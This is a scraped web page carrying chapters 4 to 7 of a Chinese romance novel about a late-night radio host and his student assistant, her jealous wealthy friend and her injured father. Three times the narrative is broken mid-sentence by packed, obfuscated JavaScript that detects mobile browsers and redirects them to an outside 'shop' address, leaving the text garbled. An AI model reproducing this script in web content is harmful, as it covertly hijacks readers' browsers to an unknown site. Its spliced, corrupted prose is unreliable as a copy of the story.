“不是不是。”齐慕声连忙摇头否认,身高接近一米九的纪松臣站在她面前,还有太压迫感了,即使他也没有说什么很重的话,甚至是用一种温柔的眼神看着她。 纪松臣看她困得睁不开眼的样子,还是决定不强留了,“你要是想来这里工作,就要接受这个时间,你要是做不到,现在可以反悔,明天就不用来了。我觉得,人还是不要太为难自己为好。” 齐慕声晃了晃脑袋,听他话里的意思,还有转机,坚定地发誓:“没关系,我可以坚持的,我保证明天不会再迟到了,也不会再睡着了。” 毕竟这种工作内容简单,上班时间短,工资还不低,上司还是个知名主持人的工作可遇不可求。 殊不知她睡得时间太久,脸上压出了一道红印,半张脸都肿了起来,倒有几分可爱。 纪松臣心一软,说道:“外面下雨了,我开车送你回去。” 4. 周年 两人到了楼下,纪松臣把车开到门口,发现保安室今天没人值班,大门锁上了。 纪松臣在里面翻了一遍,连把备用钥匙都没找到,他又给当晚值班的保安打了电话。 “喂,王叔,今天保安室是不是该有人值班啊?” 保安说:“小纪啊,这都几点了?我以为你已经走了呢,你平常不是严格的十二点准时出门吗?我看都十二点十分了,就提前下班了。我老婆给我打了电话,说女儿发烧了,让我赶紧回来,我现在在医院呢,真不好意思。” 纪松臣看了一眼坐在副驾驶的齐慕声,“我怎么知道你是真的在医院还是在家里的床上躺着?” “我真在医院,我让我女儿跟你说,你要再不信,我就叫个医生。” 电话那头传来呜呜咽咽的小孩哭声,纪松臣打断他:“行了,你还有没有备用钥匙?” “没有了,钥匙就那一把,我带走了。”老王安抚了孩子几句,又对着电话说:“你要不委屈一晚上吧,我保安室里有毯子,你们大厅里也有沙发,不是我不愿意来给你送钥匙,叔这里真走不开。” 齐慕声探出头,看纪松臣的眉头紧皱着,“怎么了?” 纪松臣挂断电话,有些为难。对于他来说,住哪里都无所谓,反正都睡不着,但是今天还有齐慕声在,总不能让她一起睡电台吧? 齐慕声见纪松臣不说话,也明白了是怎么回事,“没关系,我们今晚就在这里待着吧,我等明早再回学校。” 纪松臣进保安室,把折叠床上叠好的毯子拿了起来,从上到下检查了一遍,虽然旧,但还算干净。 雨越下越大,光是从保安室到车里这几步,就湿透了全身。他将毯子递给齐慕声,又迅速将车里暖风打开。齐慕声从书包里掏出一副眼镜盒,将眼镜布拿出,递给纪松臣。 “谢谢。”纪松臣摘下眼镜,擦了擦上面的水汽。 那是一双过于锋利的眉眼,像一把刀,能刺穿人的内心,但下垂的双眼皮又带着三分缱绻,让他整个人看起来没那么不好相与。 齐慕声将毯子裹得紧了点,不敢再看他。 “今天只能委屈你在电台休息一晚上了。” 她小声回应:“好。” “你要是不困了,我可以带你逛一下电台。” “好呀。” 齐慕声有些期待,她一来就直接跑去七楼了,别的楼层她一概不知,正好有这个机会,她可以好好了解一下自己工作的地方。 纪松臣又将车开回楼下,重新推门进去。 他先带她逛了下一楼,其实布置很简单,大厅中间是荣誉墙,墙上有名的都是为榆衡市广播事业做出过卓越贡献的人。 齐慕声在墙上飞速浏览,大多都是完全不了解的陌生面孔,一直到最下面,她找到了纪松臣的照片。 那是一张端端正正的证件照,那时的他也不戴半边框眼镜,整个人有种刚入社会的稚气。 照片下面写着,纪松臣1987年12.26出生,2011年5.17入职。 齐慕声突然想起来,今天也是五月十七号。 “一周年快乐。” 纪松臣显然没懂她在说什么,“什么一周年?” “今天是你入职的一周年。”齐慕声看着一头雾水的纪松臣,用手指了指照片下面的日期。 纪松臣早就忘了,他是哪一天来到这个电台的,只是靠银行卡里工资来推测自己大概工作了多久。突然听齐慕声这么一说,心里还有些触动。 原来已经一年了吗? 时间过得好快,荣誉墙旁边有一面镜子,他对着镜子照了照,已经快不认识自己了。原来一年对人的改变,竟然这么大。 “你觉得一年前的我,和现在有什么不同?”纪松臣看了看那张被挂在荣誉墙上的照片,那是他刚入职的时候拍的。一年前,他背井离乡来到榆衡市,又机缘巧合来了碰上了电台主持人招聘,他头脑一热,就和电台签了三年的合同。 齐慕声看看他,又看看那张照片,都说岁月是把杀猪刀,但其实对于纪松臣来说,岁月完全是把绣花刀,一年过去了,女娲将不成熟的作品又重新雕刻了一番,变得更加完美。 只是看起来,有种淡淡的憔悴。 “声音更好听了。”齐慕声没有谈论外貌的变化。 “你听过我一年前的声音?”纪松臣不解,这姑娘是怎么从照片上得出这个结论的。 “听过。” 齐慕声回想起来,纪松臣刚开始做深夜电台的时候,也是状况频出,效果并不理想。她当时很想把广播关了,不知道室友张云晴为什么那么喜欢听。 可渐渐的,这个人进步太大了,不到半个月的时间,不仅失误少了很多,也开始和听众互动了起来。 只是他很喜欢给自己提前下班。 纪松臣却不想回忆自己刚当电台主持人的那段时间,简直是不堪回首的黑历史。那个时候,他没有一天不在怀疑,自己到底能不能胜任这份工作。但是合同签了,他也不能跑路。领导专门请了个老师教他,半个月不到,他就适应了这份工作。 他的收听率是全电台最高的,工资也是最高的,但因为总是提前下班被扣了不少。 纪松臣都带齐慕声上了二楼。 “这是我们电台主持人集体办公的地方,每个电台主持人都有一个工位。”纪松臣一边介绍,一边引导她到一张桌子前。 “这就是我的工位。” 齐慕声低头一看,这张桌子和其他人的相比,简直格格不入。别的主持人的桌子上,各种文件和零零碎碎的小物品,再不济也有个水杯和纸盒,纪松臣的桌子上,却空无一物。 她不禁怀疑,眼前这个知名主持人是不是每天一上班也是直奔702,别的地方根本不去。 “你要是有什么东西,可以放在我这里,平日里也可以坐在这里休息。我们地方紧缺,应该不会给助理提供额外的工位了。” 齐慕声将包放在桌子上,在里面翻了几秒。纪松臣在一旁看着她在包里翻来覆去地找什么,也有点好奇。 她最后从包里拿出了一盒草莓,颜色鲜艳,让人垂涎欲滴。 “我差点忘了,我今天来之前,特意去超市买的,但是路上出了点意外,就迟到了几分钟。”齐慕声双手捧着那盒草莓,示意纪松臣接过。 纪松臣没有接那盒草莓,而是问:“出什么意外了?摔倒了?” 齐慕声摇了摇头,“是帮老师去干活了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603217|187544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >纪松臣突然笑了出来,“好学生,那这是送给我的吗?” 齐慕声略带期待地看着他,又将满满一盒草莓放得离他更近了些。 “那我吃了你的草莓,是不是就不能辞退你了?”纪松臣从中拿起一颗草莓,迟迟不肯放进嘴里。 “你想辞退我,随时都可以。” 纪松臣将草莓放进嘴里,反复品味着。这两天因为失眠而干裂的嘴唇,也得到了不少水分。昏暗的光下,他看起来更像一头饥饿但寻求猎物未果的狮子。 他又从盒子里拿起了一颗草莓,细嚼慢咽。他不知自己是不是出现幻觉了,眼前的女孩的嘴,和草莓一样,红润清透,让他有一口咬下去的欲望。 “我们学校的草莓甜不甜?” “甜。”纪松臣只回应了一个字,慢慢低下头去,不敢再看她。 齐慕声只道他是困了,毕竟现在已经一点多了,“我应该怎么称呼您?” 她刚想让他去大厅的长椅上休息,却发现自己根本不知道怎么称呼他。 这个问题显然把纪松臣问住了,这个电台里,领导或者年龄大的,叫他小纪;同辈关系好一点的,直接叫大名;不熟的,就客套地称呼他为纪老师。 但齐慕声呢?她好像哪种都不属于。 纪松臣在脑海里想了好半天,都没想到一个合适的称呼。 “要是让你叫我哥,你会不会觉得我是个变态?”纪松臣突然抬头,对上她温柔恬静的双眸,看着她一脸茫然的样子,他又轻轻笑了起来。 “哥?”齐慕声对这个称呼倒是没什么所谓,就是不知道男人是不是都对这个称呼有什么特殊的情结,邱铭也总是想着让自己叫他哥哥。 不过他从来没得逞过。 纪松臣见她犹豫,又说:“Cephas,我读大学时起的英文名,你要是不好意思叫哥,就叫这个吧。” 齐慕声将Cephas这个单词小声复述了一遍,“我记住了。” 其实这个名字,确实是他在大学的时候起的,但从来都没人叫过。 窗外的雨不知道什么时候悄悄停了,齐慕声在大厅的长椅上睡着了,纪松臣将毯子盖在她身上,自己坐在一边,桌子上是那盒没吃完的草莓。 平日这个时候,他多半是在床上辗转反侧,偶尔爬起来吃一粒佐匹克隆,虽然多数时候也是于事无补。 但是现在,他看着熟睡的齐慕声,也生出了困意。 “纪松臣,你怎么在这?” 早上八点多,韩佑来电台上班,一进大厅,手里的早饭差点掉在地上。 纪松臣,这个除了工作时间几乎在电台见不到的人,竟然睡在电台的沙发上,旁边还躺着个女生。 他要是媒体记者,撞到这一幕,这个月的奖金就有着落了。他甚至连标题都想好了,知名电台主持人和助理被困电台,共度良宵。 可惜他不是,他作为电台唯一和纪松臣比较熟悉的主持人,还要把他叫醒,提醒他一下,免得和他有一样阴暗想法的人拿此事做文章。 韩佑叫醒了纪松臣,纪松臣又把齐慕声叫醒。 齐慕声迷迷糊糊睁开眼,从书包里拿出电话,一看上面的内容,直接把她吓醒了。 九个未接来电! 5. 证明 齐慕声回拨过去,是室友楚悦接的。 “喂,慕声,你怎么才接电话,出大事了!”楚悦的声音很急切,听得齐慕声也有些慌乱。 她找了个没人的地方,压低声音问楚悦:“出什么事了?” 楚悦因为着急,语速比平日里快上两倍:“查寝了!昨天辅导员十一点多突然来查寝,知道你彻夜未归的事了,应该是会给你记处分,你在哪啊祖宗,赶紧回来。” 齐慕声险些连电话都没拿稳。她挂断了电话,在脑海里重新梳理了一下这件事的来龙去脉。 简单来说就是很少查寝的辅导员破天荒查了一次寝室,正好碰上下大雨被困在电台的她。 齐慕声镇定了心神,当务之急还是快些回去,和辅导员解释清楚,或许还有转机。 “出什么事了?”纪松臣见她脸色不对,一副心神不宁的样子,便知有什么不对。 齐慕声没有直接回答他的问题,而是说:“可以送我回学校吗?” 电台只有露天的停车场,纪松臣那台银灰色的车被大雨摧残得不轻,车身沾染上了不少污泥。 齐慕声刚要上车,就听见身后有人呼喊她的名字。 她回头,有些疑惑,怎么会是邱铭? “声声,出事了,跟我走。”邱铭二话不说,便拉起齐慕声手腕,朝着电台门口的方向跑。 还没等跑两步,齐慕声就被纪松臣拉住了,险些一个踉跄摔倒在地,纪松臣眼疾手快,又将她扶稳了。 “你干嘛?”邱铭看着眼前这个戴眼镜的面瘫男,一阵无名火。 他记得这男的,上次比赛,十个评委,只有他给了九分。 一看就是仗着自己长得帅,喜欢装逼的。 “你怎么进来的电台?”纪松臣问。 按理来说,电台应该不允许无关人员随意出入。 “我怎么进来的不重要,我只知道,我在这电台玩的时候,你还没来这里上班呢。”邱铭离他更近了一步,眼眸微抬,戏谑地笑着。 他堂堂榆衡邱市集团大少爷,想去哪不是自由进出,轮得到他一个电台主持人问了吗? 齐慕声见情况不对,连忙插在他们俩中间,将二人隔开。 “我的小助理,你是要跟我走,还是跟他走?” 邱铭瞥了一眼他身后的车,他管家开的都比这好,不仅廉价而且脏,有些不解,皱着眉说:“你也配跟我放在一起做选择?” 邱铭拉住了齐慕声的手腕,不由分说地想把她带走。 齐慕声一边走一边回头看纪松臣,眼里充满了愧疚和不好意思。 纪松臣没有再拉住她了,只是看着她渐渐远去,挥了挥手向她告别。 邱铭说得话,他确实无法反驳,毕竟有的人一出生就拥有了一切。 他看了看自己脏兮兮的车,有些无奈。 齐慕声坐上了邱铭的宾利的副驾驶,这是他二十岁的生日礼物。刚拥有这辆车的那一天,邱铭就带着齐慕声开车将榆衡市逛了个遍,也正是那一天,齐慕声才知道,原来榆衡市那么大,那么繁华。 兴许是太着急的缘故,邱铭开得很快,在街道上横冲直撞。一连几次,齐慕声以为他马上要撞上路过的行人,连忙叫住他,好在有惊无险。 其实邱铭也不喜欢这辆车,他更喜欢赛车,他总觉得这种只适合在街道上开的车太束缚他了,不如赛车带给他肆意狂冲的爽感。 所以他开了几次基本就闲置了,只有偶尔需要接齐慕声的时候才会开。 “不好玩,没有赛车好玩。”他将车开到了学校停车场,干净利落地将车停了进去。 车开得太快,齐慕声感觉自己的胃都在翻江倒海,一下车对着路上的垃圾桶狂吐不止。邱铭拍着她的后背,不断安抚她。 “对不起啊,我这不是太着急了嘛。”邱铭刚想扶着她,就被齐慕声推开。 “你不是着急,你是开赛车开太多了,都不会开正常的车了。”齐慕声面色惨白,说话也有气无力。 邱铭本想送她回宿舍,被她拒绝了。 她先去了辅导员的办公室,敲了三下门,获得许可才小心翼翼地进去。 “慕声,解释一下吧。”辅导员将缺勤记录往她面前一拍,“这事可是惊动了领导,你不知道前两天有个女大学生失踪了吗?多危险啊。” 齐慕声看着眼前的缺勤记录,支支吾吾地解释:“老师,我昨天晚上是去上班了。” 辅导员看她苍白憔悴的脸色,手不断捂着胃部,看起来像是喝了太多的酒,又是上晚班,她连忙把齐慕声拉到了身边,压低了声音说道:“慕声,你可别这么想不开啊,你看你长得这么漂亮,学习又好,可千万别去做那种工作呀?这不是把路走窄了吗?” 齐慕声知道辅导员想歪了,摇了摇头,“老师,你误会了,我是去电台实习了。” 辅导员松了口气,“早说啊,你这孩子,拿个证明,有谁能证明你昨天晚上去电台上班了?” 齐慕声左思右想,能证明自己在电台上班的,好像只有一个人,那个被她留在原地的人。 齐慕声陷入了进退两难的境地。 她攥着电话的手心出了汗,心里反复纠结着。 “你要是找不来能证明的人,这可真要记处分了。”辅导员看她犹犹豫豫的样子,心里着急。 “老师你别,我能找到。” 眼看辅导员要在处分单上签字,她连忙拨通了那个号码,心里默默祈祷着他会接。 电话铃声响了十几秒,纪松臣才接通电话。 “喂?” “那个,你可以来一下我学校吗?” “去干嘛?开家长会吗?”纪松臣声音慵懒,像是刚从床上爬起来一般。 “我需要有人证明我昨天在电台上班,你......愿意过来一趟吗?”齐慕声说完这句话,将电话放在胸口,手上的汗越流越多。 纪松臣将车送到楼下的洗车店去清洗了,自己走着进了小区,并约定下午来提车。他刚到家里,把衣服脱了准备再睡一觉,就听到电话铃声响个不停,他以为是单位打来的,犹豫了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603218|187544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十几秒要不要接,最后还是接了,没想到是齐慕声打来的。 “好,等我一下。”纪松臣回应,“在哪里?” “榆衡大学,校门口见。” 他把刚脱下来的衣服又迅速穿上,拿上车钥匙下了楼,就是不知道车洗没洗好,前前后后都不到半小时时间。 他最后是打车去的,一路畅通无阻,不到五分钟时间,他就到了榆衡大学校门口,看见了齐慕声。 他接近一米九的身高,站在人群里格外惹眼。他一下车,齐慕声就远远看见了,向他招了手。 她先是对在电台发生的事道了个歉:“刚刚的事,对不起,我没想到他会过来。” “不是你的错,为什么要道歉?他说得也没错,论金钱这方面,我确实比不上他。”纪松臣又想起了那个一身名牌还爱装的蓝毛小子,心里就有些不舒服,“我要怎么帮你?” 他将话题岔开,不让她再多想。 齐慕声拉着纪松臣,到了辅导员办公室。纪松臣临出门的时候,在柜子里翻出了自己的主持人证,做证明时一并交给了辅导员。 辅导员打开一看,惊得又赶紧把证合上,又重新打开了一遍,生怕刚刚那一遍是自己的幻觉。 “你就是纪松臣?那个知名电台主持人?”辅导员惊喜地从椅子上跳了起来,“我是你粉丝啊,你的每一期节目我都听的!” 纪松臣反倒有点不好意思,尴尬地点了点头。 辅导员脸上第一次接见齐慕声的严肃表情早已消失殆尽,见到偶像并发现他是个顶级帅哥,眉眼都笑开了花,她又问了纪松臣一些和这件事无关的问题,让他给自己签了个名,便放二人离开了。 “今天的事,真的麻烦你了,还要让你跑一趟。”齐慕声抱着一堆材料,感谢道。 “没事,不麻烦。”纪松臣陪辅导员坐了半个多小时,一出来感觉头都晕了。 二人在榆衡大学的校园走着,此时大雨刚过,整个校园有种焕然一新的感觉,空气里弥漫着草木的香味,甚是好闻。 齐慕声看了一眼时间,刚好十一点,“我请你吃饭吧。” 纪松臣想都没想就答应了,反正回去也是在楼下的面馆或者快餐店随便买点东西吃,偶尔换换口味也不错。 他在大学校园里走着,感觉自己年轻了几岁,回到了自己读大学的时候。 眼看着齐慕声把他带出了校门,他才想起来问问她去吃什么。 齐慕声心想,纪松臣帮了她这么大忙,又是自己的上司,这一顿必不能太简陋了。 “你平日里都喜欢吃什么?”她试探性地询问了一下,就怕自己盲选的店踩在纪松臣的雷点上。 “广州鲍鱼,澳洲龙虾,西湖醋鱼,龙井虾仁。”纪松臣一连说了几个菜名。 齐慕声听了这几个菜名,咽了咽口水。但其实这个菜,远远超出了她预算范围之内。她正思量着怎么能既满足他的需求,又能省一点钱,就又听见他说: “开玩笑的,我吃什么都行。你平常去哪一家吃?我也去尝尝。” 6. 针锋 榆衡大学附近有一条小吃街,里面有数不尽的路边摊和饭店,造福了不少大学生。 街边熙熙攘攘,不少店的员工都在门口吆喝着,希望能在天黑前多拉两桌客人。 齐慕声和纪松臣将一条小吃街逛了个遍,最后去了一家齐慕声经常吃的兄弟小厨。 齐慕声将菜单交给纪松臣,示意他来点菜。 纪松臣浏览了一遍菜单,都是一些家常菜,又将选择权交给了齐慕声,“还是你来点吧,点你平常吃的就行。” “宫保鸡丁和水煮肉片,就这两个吧,谢谢。” 纪松臣微微抬了下眉,似乎想说什么,嘴唇微动,但又没说出口。 “你刚刚是不是要说什么?”齐慕声问。 “我想让他加点水。” 齐慕声叫来了服务员,让他往水壶里倒满了茶水。十五分钟左右,她点的两道菜就端了上来。刚出锅的菜,上面还冒着热气,香味飘了出来,齐慕声迫不及待地尝了一口。 这家店的菜主打一个量大管饱,经济实惠,齐慕声和她三个室友偶尔食堂吃腻了,也会到这家店换换口味,就是不知道纪松臣吃不吃的惯。 “咳咳,恭喜Cephas成为一名尽职尽责备受欢迎的电台主持人一周年。” 齐慕声突如其来的庆祝仪式,把纪松臣吓到了。他看着齐慕声虔诚的样子,没忍住笑出了声,小声说了句感谢。 纪松臣手指修长,骨节分明,拿筷子的手看起来格外有力,夹菜的时候,齐慕声注意到,他的右手食指和中指上磨了不少茧,还有细微的疤痕。 他吃饭也是细嚼慢咽的,吃一片肉要在嘴里嚼上许久才肯咽下去。 不知道是不是店里太热的缘故,纪松臣的脸渐渐红了起来,脸上冒出了不少细密的汗珠。 齐慕声递了纸巾给他,他放下筷子,先将脸上的汗擦了。 “是不是太热了?” “还好。”纪松臣感觉自己的嗓子都变哑了,这么辣的菜,她竟然一点感觉都没有。 他又喝了两杯茶水,才将舌尖上的辛辣冲刷掉。 齐慕声见他一直没怎么动筷子,又往他碗里夹了两片沾满了辣椒的肉。 纪松臣将那两片肉吃完,便放下了碗筷。 “不好吃吗?” 纪松臣笑了笑,安抚她:“没有啊,很好吃。” 结账的时候,纪松臣始终捂着自己的胃部,脸上的汗大颗大颗落下来。 齐慕声拿纸擦了擦他脸上的汗,扶住了他。 “没事吧?” “没事没事,我来付钱吧。” “说好了我请你,怎么能让你来付钱?” 齐慕声刚把钱包拿出来,就听见旁边有人说:“我说你怎么一直不答应邱铭呢,原来是有主了。” 齐慕声转头看去,说话的人正是邱铭的室友。 虽然邱铭早早在外面租了房子,但偶尔还是会回寝室看看,和室友的关系也都不错。 邱铭之前有什么活动,都要带着齐慕声参加,一来二去,他的室友自然也认识齐慕声了。 还没等齐慕声反驳,纪松臣淡淡地开口:“年轻人,有时间关心别人的感情事,不如多关心一下自己的学业,保研保上了吗?实习找了没啊?毕业论文写完了吗?” 纪松臣结了账,就带齐慕声走出了这家兄弟小厨。出门之前,他隐隐约约听见了那个人在咒骂他。 一看就是被人戳到了痛处,有些气急败坏罢了。 “看不出来啊,你骂人还挺厉害的。” 毕竟纪松臣大部分时候,都给人一种冷脸面瘫,能冷眼旁观绝不轻易下场的漠然感。 “我这还算骂人?我还能说得更难听一点。” 刚从店里出来,就被外面的阳光刺得睁不开眼。纪松臣下意识地走在他前面,利用身高优势替她遮了太阳。 “你跟紧我。” 齐慕声一路踩着他的影子,走到了学校门口。 纪松臣突然停了下来,转过身,齐慕声跟得太紧,直直撞上了他的胸口。 “不好意思。”两人异口同声。 “那个蓝毛,不是你男朋友?”纪松臣略微拉开了一点距离,低下了头,平静地看着她。沐浴在阳光下的齐慕声,比平日里见到的,总是低着头不爱说话的女孩,格外明媚动人。 “不是,是我发小,我们关系比较好。” 得到了一个肯定的回复,纪松臣的心突然明亮了许多。 “那我晚上来接你,一起去电台?” 他开始期待她的回复。 齐慕声理了理发梢,点了头,算是同意了。 到了晚上九点半,纪松臣就早早开车在校门口等着了。齐慕声一出校门便看见了,小跑了几步坐到副驾驶上。车上开的空调温度刚刚好,正循环播放着周杰伦的《稻香》。 “你有没有考虑过去台前啊?”齐慕声问了一个藏在心底很久的问题,按照纪松臣的形象和主持能力,还有粉丝基础,去台前应该会更受欢迎。 “为什么要去台前?”纪松臣像是不太理解这个问题,问道。 “去了台前,按照你的条件,肯定比每天在电台赚得更多啊,你不想接广告吗?” 纪松臣想都没想,就直接回答了:“不想,并不是所有人都喜欢暴露在大众视野之下的,我很满意我现在的工作。” 他前几年读大学的时候,也有不少星探和传媒公司来找过他,问他想不想去学表演,想不想去唱歌,他当时也一样,想都没想就拒绝了。 他不喜欢无时无刻暴露在媒体的摄像头之下,连谈个恋爱都要遮遮掩掩。 这种生活对于他来说,太过窒息。 所以他当了深夜电台主持人,很少参加需要抛头露面的活动,也很少拍宣传海报。 他又反过来问齐慕声,“如果是你,你愿意吗?” 齐慕声摇了摇头,“我就算了吧,没有那么好的条件。” 二人进了电台,齐慕声将纪松臣今晚要用的文稿用最快的时间反复筛选修改,整理出来,放到纪松臣的桌子上。 纪松臣在二楼倒了杯咖啡,放到齐慕声面前,生怕她上班的时候又睡着了,把什么妖魔鬼怪都放进来。 其实在没有助理的时的时候,他就全凭运气筛选听众,接到的就是幸运观众,没接到的就是下次继续。 倒也没有那么多奇葩。 他在直播前,提前嘱托了齐慕声,要是太离谱的问题,就直接过滤掉。 齐慕声按照他的要求,严格挑选,将难以回答的情感问题几乎淘汰掉了一半。 晚上下班的时候,纪松臣开车送她。今夜电台的工作格外轻松,纪松臣感觉整个人都神清气爽。 “我的小助理,真是一教就上道。” 齐慕声本来有些困了,听了他的夸赞,又清醒过来,问他:“你会录用我吗?” “会,我对你的工作很满意,但是试用期必须要满三天,这是台里的规定。” 齐慕声靠在副驾驶的椅背上,看着他,说道:“其实你跟我想象的有点不太一样。” 纪松臣听了这话,来了兴趣,顺着她的话问:“那你想象的我什么样?满面油光的中年大叔吗?” 齐慕声连忙否认,其实在没见到他本人前,她也悄悄给纪松臣画过肖像。 长相吗?几乎跟她想象的完全不符。在她的想象里,纪松臣的脸应该是偏清秀类型的,也不戴眼镜,但是很讨女孩子喜欢。 “其实也是个帅哥啦,但我以为,你身边会有很多助理。” 纪松臣回了她一句客套话:“你是我招的第一个助理,也谢谢你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603219|187544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿意来当我的助理,辛苦了。” 纪松臣侧头看了她一眼,月光恰好顺着车窗洒在了她身上,分外温柔。 齐慕声不敢总是看他,大部分时候都是看着前方的。其实前方有什么,她也看不清楚,心早就飞到了九霄云外的月亮之上。 下了车,纪松臣摇开车窗,对着她的背影轻声说:“明天见。” 齐慕声一路上都在回想纪松臣对她说的那句话,心里有种无法言说的滋味。她一直走着,还没到宿舍楼下,就迎面撞到了一个人。 那人还没等她反应过来,就将她拉到了一边。 她刚要喊救命,就看清了拉她那人是谁,硬生生将求救声咽了下去。 “你大半夜在这里干嘛?”齐慕声有些不解,有什么事不能白天说吗?偏偏要拦在她回宿舍的路上吓她。 邱铭开门见山,“声声,你是不是真给那个戴眼镜的男的在一起了?” 他在说这话的时候,胸腔止不住的颤抖。即使路灯都已经熄灭了,她也能借着月光看见邱铭微微发红的眼眶。 邱铭十岁那年,得了哮喘,一连辗转几个大城市,花了几百万,都没能治好,只能靠药物缓解。 所以齐慕声和他在一起,也会尽量避免说一些重话,让他情绪起伏太大。 她试图安抚邱铭,让他情绪平复下来,“我没有,我们两个只是单纯的上司和下属的关系,邱铭,我不是答应过你吗?谈恋爱了一定会第一时间告诉你。” “我不要你谈恋爱第一时间告诉我,我要跟你谈恋爱的那个人是我。”邱铭双手扶住她的肩膀,音量提高了许多。 “邱铭,你冷静一点好不好?” 齐慕声不敢再看他的眼睛,她要是在这个节骨眼上刺激他,把他气的哮喘复发,她还要分心去医院照顾他。 “高述跟我说,你今天跟那个男的吃饭了,还抢着买单是吗?怎么,饭跟我在一起吃不香是吗?” 邱铭扶着齐慕声肩膀的双手稍微用了些力,齐慕声越是抗拒,越是躲避,他就越兴奋。 齐慕声也忍不了了,斥责道:“邱铭,你有完没完,能不能别天天闹小孩子脾气了。人家今天帮了我,我请人家吃一顿饭怎么了?能不能别什么事都往那一方面想?” “好啊,我不往那方面想了。”邱铭放开她,又说:“哦对了,有一件事,我忘了告诉你了。应该是在你和他吃饭的时候,齐叔叔给我打了个电话。” 邱铭故意不往下说,吊着她胃口。 齐慕声听见她爸爸,果然上了钩,连忙问:“我爸跟你说什么了?” 她心里有一种不好的预感,毕竟她太了解她父亲是个什么样的人了,如果不是缺钱,怎么会给邱铭打电话? “你亲我一口,我就告诉你好不好?” “邱铭!”齐慕声有些生气,这个时候了,他还要开这种玩笑。“你不告诉我,我自己打电话问他。” 齐慕声转身就要走。 邱铭又把她拉了回来,“乖,我不开玩笑了,别生气嘛。叔叔在工地打工,把腿摔断了,需要一大笔医药费,叔叔怕你担心,还不让我告诉你呢。” 齐慕声冷笑,她知道邱铭什么意思,这个时候来告诉她,不就是知道她拿不出这笔医药费吗? “声声,你知道的,几万块的医药费,对我来说根本不算什么,但是吧,我也不能一直当冤大头啊。” 邱铭把话挑明了,想让他出钱,齐慕声就要乖乖听他的话。 齐慕声心里泛起一阵恶心,淡淡地说了句:“谢谢你告诉我这件事,但是还不劳烦您操心了。” 说罢,她便转身回了宿舍,任凭邱铭怎么叫她,都不再回头。 邱铭一个人站在原地,既没有像平日一样追上去的勇气,也没有扭头就走的豁达,只能任凭月色将他淹没。 7. 生病 齐慕声躺在床上,脑海里不断想着邱铭的话,翻来覆去一晚上都没睡着。 即使她家就住在榆衡,她也有一年没回去过了,寒暑假基本都住在学校。那个地方,对于她来说,并没有家的温暖。 她父亲齐江倒是会每隔一个月都来学校看她,给她送一些水果和吃的,然后顺理成章从她手里拿走几百块。 齐慕声越想越心烦,即使亲情单薄,但那毕竟是养了她十几年的父亲,又怎能弃之不顾? 第二天上课的时候,齐慕声也是魂不守舍的,险些趴在桌子上睡着了,接连被任课老师叫起来回答问题。 “慕声,怎么了?”室友岳柠和她坐在一起,见她状态不对,问道。 齐慕声回过神来,温和地笑笑:“我没事的,就是有点困了。” 她从来没觉得过,一个半小时的课程,竟然能这么漫长。她坐的离窗户很近,窗外的蝉疯狂鸣叫,吸引了她的目光。 等到下课,趁教室没人,她拨通了那个熟悉的号码。 她已经三年没有主动给他打过电话了,她也丝毫不想接到这个人的电话。 “喂,是慕声啊。”电话那头传来一个中年男人的声音,听起来很是虚弱,“下课了吗?” “爸,你没事吧?” 齐慕声像是鼓起了很大的勇气,才将这句话问出口。 “爸爸没事呀,有邱铭在呢,爸爸怕你担心,没敢告诉你。” 从他口里脱口而出的邱铭二字,成了刺穿她的一把刀。他既然能一直保护她,自然也知道她的软肋在哪,也能更好地控制她。 齐慕声蹲在教室的角落里,为了不让眼泪留下,她咬着牙,始终没有说话。 “慕声,你愿意来榆衡市第一人民医院来看看爸爸吗?” 齐慕声艰难地从牙缝里寄出一个好字。 她将眼泪擦干,整理好书包,将教室门关上,去超市买了一些草莓和西瓜,打算带到医院去。 榆衡市第一人民医院坐落于青禾区,和这个市几乎有一样长的历史。 榆衡市医疗卫生条件并不先进,甚至落后其他地区不少。第一人民医院即使经过多次翻新改造,看起来还是破旧不堪,不少地方墙皮都被雨水冲刷掉了,泛起了纸黄色的斑。一进大厅就是扑面而来的医用酒精和消毒水味,昏黄的灯光下,推着车子行走的护士皆面色沉沉,很像小时候看得恐怖电影中的丧尸。 齐慕声呛的连打了几个喷嚏。 她从小就对这家医院充满了恐惧,所以小的时候发烧不管烧得多严重,她都哭着喊着不来这里。 她在大厅值班的护士那里,查到了她父亲的门牌号。 301。 她推开门,看见了靠在病床上的齐江。 他一条腿已经打上了石膏,整个人看起来萎靡不振,百无聊赖地看着电视机里的球赛。 “慕声来了。”看见女儿来了,他的眼里才有了一些光亮。 齐慕声在将水果放在了病床旁的柜子上,自己在亮一张病床上坐了下来。 